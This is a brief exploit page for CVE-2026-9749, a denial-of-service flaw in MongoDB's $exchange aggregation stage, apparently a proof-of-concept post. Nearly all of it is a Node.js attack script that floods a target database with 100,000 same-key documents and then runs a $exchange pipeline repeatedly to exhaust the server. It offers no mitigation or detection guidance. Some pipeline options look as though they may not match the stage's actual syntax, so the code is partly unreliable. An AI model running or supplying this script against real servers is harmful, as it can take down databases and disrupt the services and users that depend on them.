CVE-2026-9749 MongoDB $exchange聚合管道拒绝服务漏洞

// CVE-2026-9749 PoC - MongoDB $exchange DoS // Target: MongoDB with aggregation pipeline using $exchange // Prerequisites: Low-privilege user access const { MongoClient } = require('mongodb'); async function exploitCVE20269749() { const mongoUrl = 'mongodb://target:27017/test'; const client = new MongoClient(mongoUrl); try { await client.connect(); const db = client.db('test'); // Create a collection with many documents const collection = db.collection('test_data'); await collection.createIndex({ keyField: 1 }); // Insert many documents with same key to fill buffer const bulkOps = []; for (let i = 0; i < 100000; i++) { bulkOps.push({ insertOne: { document: { keyField: 'SAME_KEY', data: 'A'.repeat(1000) } } }); } await collection.bulkWrite(bulkOps); // Trigger the vulnerable code path // Using $exchange with key-range partitioning const pipeline = [ { $match: { keyField: 'SAME_KEY' } }, { $exchange: { collection: 'output', mode: 'streamRows', partitionBy: 'keyField', partitionType: 'key-range', orderPreserving: true } } ]; // Execute aggregation multiple times to trigger DoS for (let i = 0; i < 100; i++) { try { await collection.aggregate(pipeline).toArray(); } catch (e) { console.log('Vulnerability triggered:', e.message); } } } finally { await client.close(); } } exploitCVE20269749();